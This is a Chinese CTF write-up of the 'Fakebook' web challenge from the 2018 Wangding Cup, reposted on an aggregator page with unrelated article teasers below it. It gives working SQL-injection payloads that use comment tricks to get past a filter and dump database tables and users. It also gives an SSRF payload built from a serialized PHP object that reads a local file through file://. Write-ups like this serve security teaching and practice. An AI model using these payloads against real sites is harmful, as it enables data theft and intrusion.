[网鼎杯 2018]Fakebook1

news2024/11/24 3:07:05

拿到题目后是一个博客的界面,这里可以登录和注册

点入登录界面,猜测可能是sql注入

试了很多次,都不是,也没有回显报错,所以把目光放到了注册上面

注册的其他行数据,差不多都可以乱填,只有一个blog项,估计是后台做了一些限制(必须包含某些字符之类的),随便填会报错

创建好点击博客进去后,在url栏会出现GET传参no = 2

可以尝试判断是否为注入点

一开始测试的是单引号闭合,但是它的回显时这样的,说明闭合符错误

因为出现上面的情况,所以猜测不是字符型注入,用了一点小方法,出现计算,说明是整数型注入

测试出,包含5个字段

当测试回显位时,该来的还是来了,有过滤

本来想看看是过滤了union还是select,结果单领出来都报语法错误,这里直接使用/**/代替空格,(union)select加括号也会报错

回显位是2

爆出数据库名称

注意注入语句的形式,如果把字段数放在后面会报错,爆出表名称

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆出user表中字段名称

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

查询字段所有数据,但是没有flag

no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users

只能查看wp了

得到关键信息,前面都没有注意这段报错信息,这里包含了一个反序列化函数,和一段路径,后面会用到

wp还提示说,扫描后台有文件

但是为毛我扫描不出来文件啊

直接用别人wp里面的访问吧,

访问robots.txt,获取到源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
这是一个 PHP 类的定义,名为 UserInfo。
该类有三个公共属性:$name,$age,$blog,分别表示用户的姓名、年龄和博客链接。
该类还有一个构造函数,用于初始化这三个属性的值。
此外,该类还有两个公共方法:getBlogContents() 和 isValidBlog()。
getBlogContents() 方法用于获取用户博客的内容,它通过调用 get() 方法实现。
isValidBlog() 方法用于验证用户提供的博客链接是否合法,它使用正则表达式进行判断。如果博客链接符合标准格式,则返回 true,否则返回 false。
    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }
主要是这里,贼长一篇的选项,把我看烦了,差点就放弃了
这是一个 PHP 代码段,它定义了一个名为 get 的函数,该函数使用 cURL 库来获取给定 URL 的内容并返回。
具体来说,该函数使用了 curl_init() 函数初始化一个 cURL 会话,curl可以用来请求web服务器
然后使用curl_setopt() 函数设置一些选项:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置,后面的$url变量就是它的值
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。使用PHP curl获取页面内容或提交数据,有时候希望返回的内容作为变量储存,而不是直接输出。这个时候就必需设置curl的CURLOPT_RETURNTRANSFER选项为1或true。

curl_exec函数是执行curl对话,这里赋值给了$output

curl_getinfo — 获取一个cURL连接资源句柄的信息,因为设置了CURLINFO_HTTP_CODE所以是返回最后一个http状态码
如果状态码不是404,就返回exec的结果。

结合起来得出结论,以上代码存在ssrf和反序列化,当我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。

路径是之前注入的时候报错爆出来的,序列化值也不用自己生成,之前注入出来了,改长度和值就行

flag.php也是被扫描出来的

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"23";s:3:"age";i:12;s:4:"blog";s:27:"file:///var/www/html/flag.php";} '

可以看到回显页面的blog已经被更改,最后查看源码就能获得信息

这里就对应的blog的内容虽然经过了base64编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/624606.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

王道考研计算机网络第二章知识点汇总

2.1.1物理层基本概念 电气特性和功能特性易混淆&#xff0c;注意区分。电气特性一般指的是某个范围&#xff0c;功能特性一般指的是电平所代表的含义。 2.1.2数据通信基础知识 同步传输是指发送方和接收方节奏是统一的&#xff0c;数据之间是没有间隔的是一个一个的区块。在键…

轻松掌握Python自动化工具,解锁PyAutoGUI的强大功能

前言 PyAutoGUI是一个用于图像识别和鼠标/键盘控制的Python库。它提供了一组函数和方法&#xff0c;用于自动化屏幕上的鼠标移动、点击、拖拽和键盘输入&#xff0c;以及执行图像识别和处理。本文旨在帮助读者入门 PyAutoGUI&#xff0c;理解其基础概念和掌握最佳实践&#xff…

手把手教你实现—基于OpenCV的车流量统计和车速检测代码

本章将实现了一个简单的车辆速度估计和车流量统计的GUI应用&#xff0c;它使用了Haar级联检测器和相关跟踪器来检测和跟踪视频中的车辆&#xff0c;并通过图像处理和数学计算来估计车辆的速度。 1.首先&#xff0c;该代码需要cv2&#xff1a;用于图像处理和计算机视觉任务&…

软件测试(功能、接口、性能、自动化)详解

一、软件测试功能测试测试用例编写是软件测试的基本技能&#xff1b;也有很多人认为测试用例是软件测试的核心&#xff1b;软件测试中最重要的是设计和生成有效的测试用例&#xff1b;测试用例是测试工作的指导&#xff0c;是软件测试的必须遵守的准则。黑盒测试常见测试用例编…

比较18个3*6尺寸差值结构的迭代次数

已发现二值化差值结构有3种相互作用&#xff0c;纵向&#xff0c;横向和斜向。纵向相互作用只与行间距有关而与数值的数量无关&#xff0c;与迭代次数成反比&#xff1b;横向相互作用只与列的数值数量有关与列间距无关&#xff0c;与迭代次数成正比&#xff1b;斜向相互作用将导…

完全免费PNG素材库,免费可商用~

推荐的这几个PNG素材网一定要收藏~免费可商用~ 菜鸟图库 https://www.sucai999.com/searchlist/66008----all-0-1.html?vNTYxMjky 菜鸟图库是一个为新手设计师提供免费素材的网站&#xff0c;站内有非常多设计相关素材&#xff0c;比如平面模板、UI素材、电商素材、免抠素材…

C++中string类的常用函数

文章目录 默认成员函数常见构造函数(constructor) string类的容量操作size()empty()capacity()reserve()clear()resize() string类对象的访问及遍历操作重载 [ ]begin()end()begin() end() 遍历字符串rbegin()rend()rbegin() rend()反向遍历字符串C11范围for string类对象修改…

客户至上 服务至极 ——优维服务流程标准化体系

◎ 如何用服务打动客户&#xff1f; 在思考这个问题之前&#xff0c;首先我们要了解做好服务最难的是什么&#xff1f; 众所周知&#xff0c;由机器作业出来的东西是一致且规范的&#xff0c;而服务不一样。服务&#xff0c;是需要人来参与的&#xff0c;当由不同的人来完成某…

web问题定位:F12,如何找到对应接口

接口查看法&#xff0c;是我们最常用的定位前后端问题的方法。即&#xff1a;一般用来查看是后端返回给前端的数据有误&#xff0c;还是前端显示有误。 主流浏览器&#xff08;如Chrome&#xff0c;FireFox&#xff0c;等&#xff09;都有自带的接口查看工具&#xff0c;可以通…

微软wsl2 + ubantu + docker + 部署本地项目

windows 操作系统版本要达到要求 开启 wsl2 安装实用工具 Windows Terminal 和 Visual Studio Code 安装 Ubuntu 子系统 安装 Docker Desktop 并让 Docker Desktop 基于 wsl2 来运行 基础环境准备可以完全参照《搭建 Laravel Sail 开发环境 - Windows》来进行&#xff0c;我跟教…

2023年的深度学习入门指南(16) - JAX和TPU加速

2023年的深度学习入门指南(16) - JAX和TPU加速 上一节我们介绍了ChatGPT的核心算法之一的人类指示的强化学习的原理。我知道大家都没看懂&#xff0c;因为需要的知识储备有点多。不过没关系&#xff0c;大模型也不是一天能够训练出来的&#xff0c;也不可能一天就对齐。我们有…

葡萄酒质量预测

本文中所有代码及数据均存放于&#xff1a;https://github.com/MADMAX110/WineQualityPrediction 本文根据酸度、残糖和酒精浓度等特征训练和调整一个随机的葡萄酒质量森林模型。 一、设置环境&#xff0c;确认你的电脑安装了以下环境 Python 3NumPyPandasScikit-Learn (a.k.a…

Ubuntu 18.04 交叉编译Opencv-4.6.0

环境 操作系统&#xff1a;Ubuntu 18.04 OpenCv版本&#xff1a;4.6.0 交叉工具链&#xff1a;arm-linux-gnueabihf-gcc-5.3.1 下载OpenCV源代码 这里推荐大家到网上找OpenCV的Linux版本安装包&#xff08;.tar.gz结尾&#xff09;&#xff0c;不要github上clone&#xff08…

leetcode688. 骑士在棋盘上的概率(java)

骑士在棋盘上的概率 leetcode688. 骑士在棋盘上的概率题目描述 解题思路代码演示动态规划专题 leetcode688. 骑士在棋盘上的概率 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;https://leetcode.cn/problems/knight-probability-in-chessboard 题目描…

【源码篇】基于ssm+vue+微信小程序的医疗科普小程序

系统介绍 这是一个ssmvue微信小程序的医疗科普小程序&#xff0c;分为pc端和微信小程序端 pc端包括&#xff1a;管理员角色和学生角色。 管理员拥有&#xff1a;学生管理、科普知识管理、论坛管理、收藏管理、试卷管理、留言板管理、试题管理、系统管理、考试管理 学生端拥…

AI实战营第二期 第五节 《目标检测与MMDetection》——笔记6

文章目录 摘要主要特性 常用概念框、边界框交并比 (loU)感受野有效感受野置信度 目标检测的基本思路难点滑框在特征图进行密集计算边界框回归基于锚框VS无锚框NMS&#xff08;非极大值抑制&#xff09;使周密集预测模型进行推理步骤如何训练密集预测模型的训练匹配的基本思路密…

C++ 教程(01)

C 教程 C 是一种高级语言&#xff0c;它是由 Bjarne Stroustrup 于 1979 年在贝尔实验室开始设计开发的。C 进一步扩充和完善了 C 语言&#xff0c;是一种面向对象的程序设计语言。C 可运行于多种平台上&#xff0c;如 Windows、MAC 操作系统以及 UNIX 的各种版本。 本教程通过…

节省90%编译时间,这是字节跳动开源的基于Rust的前端构建工具

Rspack 是一个基于 Rust 的高性能构建引擎&#xff0c;它可以与 Webpack 生态系统交互&#xff0c;并提供更好的构建性能。 在处理具有复杂构建配置的巨石应用时&#xff0c;Rspack 可以提供 5~10 倍的编译性能提升。 字节跳动将 Rspack 开源后&#xff0c;它在 GitHub 上已有 …

Bert+FGSM/PGD实现中文文本分类(Loss=0.5L1+0.5L2)

任务目标&#xff1a;在使用FGSM/PGD来训练Bert模型进行文本分类&#xff0c;其实现原理可以简单概括为以下几个步骤&#xff1a; 对原始文本每个词转换为对应的嵌入向量。将每个嵌入向量与一个小的扰动向量相加&#xff0c;从而生成对抗样本。这个扰动向量的大小可以通过一个超…

2023年牛客网最新版大厂Java八股文面试题总结(覆盖所有面试题考点)

程序员真的是需要将终生学习贯彻到底的职业&#xff0c;一旦停止学习&#xff0c;离被淘汰&#xff0c;也就不远了。 金九银十跳槽季&#xff0c;这是一个千年不变的话题&#xff0c;每到这个时候&#xff0c;很多人都会临阵磨枪&#xff0c;相信不快也光。于是&#xff0c;大…